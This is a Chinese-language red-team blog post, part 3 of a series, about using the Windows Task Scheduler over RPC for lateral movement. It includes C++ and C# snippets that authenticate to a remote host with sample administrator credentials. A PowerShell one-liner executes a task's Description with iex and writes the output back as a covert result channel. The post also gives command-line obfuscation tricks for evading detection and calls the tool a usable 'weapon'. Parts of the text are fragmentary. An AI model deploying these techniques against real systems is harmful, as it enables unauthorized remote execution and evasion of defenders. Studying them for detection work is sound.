原创 zcgonvh 2022-09-28 06:30 北京

Advanced Windows Task Scheduler Playbook - Part.3 from RPC to lateral movement

Advanced Windows Task Scheduler Playbook - Part.3 from RPC to lateral movement

0x00 问题

而在实战中，这些或多或少会遇到一些问题。例如文件回显的技巧可能面临共享无法访问、SMB协议不兼容等诸多非常规环境；除了环境限制的因素之外，对抗环境下更多时候还要面临“已知”带来的威胁：一个已知的攻击方式或手法，一定有对应的检测。

这也就进一步导致了一个很实际的问题：

工具也好，武器也好，平台也罢，无论在理论环境下运行的多么完美，实战环境下总可能“不那么好用”。

探究新方法永远是对抗的第一课题。现在，基于实战环境下的需要，我们为自己找了一个新课题：如何实现更为稳定的横移回显/环境探测？

0x01 思考

安全研究绝不是盲目地解决问题。在这里，我们的最终目的是探索一个（某些环境下）相对更好的横向移动技术，技术问题往往能够很容易的分解为多个递进的步骤，所以可以继续细化一些：

横向移动存在哪些阶段？每个阶段中分别涉及哪些技术？每个技术细节存在哪些优劣？

顺着这样的思路来思考，就会带出下面的技术细节：

横向移动需要连接到目标，在网络层面则表现为协议，那么第一个子问题就是：

采用什么协议？

成功获取执行权限后，实战环境下往往需要一个结果反馈，我们得到第三个子问题：服务本身是否可以直接返回结果？如果不支持，那么需要额外采用哪些手段？

最后，则是实战环境经久不衰的老问题：上述方式实现是否存在已知的特征？

看，威胁情报和安全研究串起来了，Web和对抗也有了联系。

考虑到我们正在研究计划任务，那么随之思考：计划任务能否做到这一点？根据我们前两篇文章的研究结果，不难回答这一问题：

所以我们的表格可以添加下面并列的两项：

而这项至少十年的技术利用方式非常成熟，变换手段非常多样化，也就意味着我们拥有很多顺畅的实现方式。在当前场景下，我们需要利用无文件攻击执行命令或进行信息探测，并在随后修改计划任务信息作为返回。

0x02 实现

确认了技术要点，实现起来就完全没难度了。

_SEC_WINNT_AUTH_IDENTITY identity = { 0 };LPWSTR domain = L"ROOT";LPWSTR username = L"administrator";LPWSTR password = L"P@ssw0rd";identity.Domain = (unsigned short*)domain;identity.DomainLength = lstrlenW(domain);identity.Flags = SEC_WINNT_AUTH_IDENTITY_UNICODE;identity.User = (unsigned short*)username;identity.UserLength = lstrlenW(username);identity.Password = (unsigned short*)password;identity.PasswordLength = lstrlenW(password);RpcBindingSetAuthInfoExW(hBinding, 0, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_WINNT, &identity, 0, (RPC_SECURITY_QOS*)&qos);

pService->Connect(_variant_t(L"Target"), _variant_t(L"administrator"),_variant_t(L"ROOT"), _variant_t("P@ssw0rd"));

（体会到

抽象

透明

$task=Get-ScheduledTask -TaskName TestTask -TaskPath \;$task.Description=(iex $task.Description|out-string);Set-ScheduledTask $task;

var xd=new XmlDocument();xd.LoadXml(task.Xml);Console.WriteLine(xd.SelectSingleNode("/*[local-name()='Task']/*[local-name()='RegistrationInfo']/*[local-name()='Description']").InnerText);

0x03 打磨

通过上面思考至落地的过程，我们有了一个可执行、有效果的技术原型，接下来进行打磨，使之更贴近实战“武器”的状态。

-eN-eNCo-Encode....

-nonInt-nOnInTe....

对付一些没有词法分析的常规防御手段，这些基本上足够了。

接下来，由于我们在进行横向移动，所以并不能确定命令在目标环境的执行时间，所以需要加一个轮询。

while (task.State != TaskState.Ready){    task = folder.GetTask(taskname);    Thread.Sleep(1000);}

（为什么上面说可能脚本出错？这里就是了）

0x04 反思

至此，和计划任务相关的内容基本结束了。接下来我们跳出计划任务角度，站在应用场景的角度来回顾曾经我们可用的方案。一方面做个简单的总结，另一方面，想一想如何合理的进行使用。

为什么？

0x05 总结

这是本系列第三篇，我们从应用场景入手，随后进行可行性分析，接下来根据分析的内容进行原型实验，最后结合实战经验，打磨出一个全新的横向移动工具。

实战应用应当是知识的有机组合，不存在一劳永逸绝对成功的技巧，但知识的积累与理解能让我们更加轻松。

当然，如果你就是喜欢无脑12345，那权当我什么都没说

文章中的代码可以在https://github.com/zcgonvh/TaskSchedulerMisc/找到，这次是一个没什么坑的原型，可以直接用，但最好自行修改一些特征防止撞车。

还是那句话，希望这篇文章能在技术点之外为各位带来启发。

阅读原文

跳转微信打开